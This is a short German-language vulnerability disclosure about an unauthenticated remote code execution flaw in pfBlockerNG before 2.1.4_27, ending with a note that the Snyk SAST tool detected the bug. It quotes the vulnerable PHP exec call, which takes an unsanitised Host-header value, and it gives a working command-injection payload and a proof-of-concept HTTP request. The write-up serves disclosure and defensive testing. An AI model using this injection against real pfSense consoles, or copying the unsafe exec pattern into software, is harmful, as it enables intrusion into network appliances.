
Proof-of-concept-Exploit für nicht authentifizierte Remote-Codeausführung in pfBlockerNg über nicht bereinigte Eingaben in der DNSBL-TLD-Abfragefunktion, mit SAST-Erkennungsanalyse.
pfBlockerNG ist die nächste Generation von pfBlocker mit den folgenden Funktionen:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
Nicht authentifizierte Remote-Code-Ausführung (RCE)
Die Abfrage für den TLD-Block-Bereich von index.php enthält eine nicht bereinigte/nicht escapte Benutzereingabe d_query aus der HEADER-Host-Quelle in die PHP-exec-Funktionssenke.
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
Erfordert HTTP-Zugriff auf die pfsense-Webkonsole
Beispiel-Payload: ' *; sleep 5; '
POC-Anfrage:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
Ich liebe pfBlockerNg und wurde von Di r00t's kürzlichem CVE-2022-31814 und dem großartigen Writeup https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ inspiriert und war neugierig, ob das Snyk Static Application Security Test (SAST)-Tool die Schwachstelle erkennen würde. Also habe ich die entsprechende index.php-Datei Version 2.1.4_26 heruntergeladen und Snyk Code dagegen ausgeführt. Tatsächlich erkannte Snyk die Schwachstelle plus eine weitere ähnliche Meldung nur wenige Zeilen später.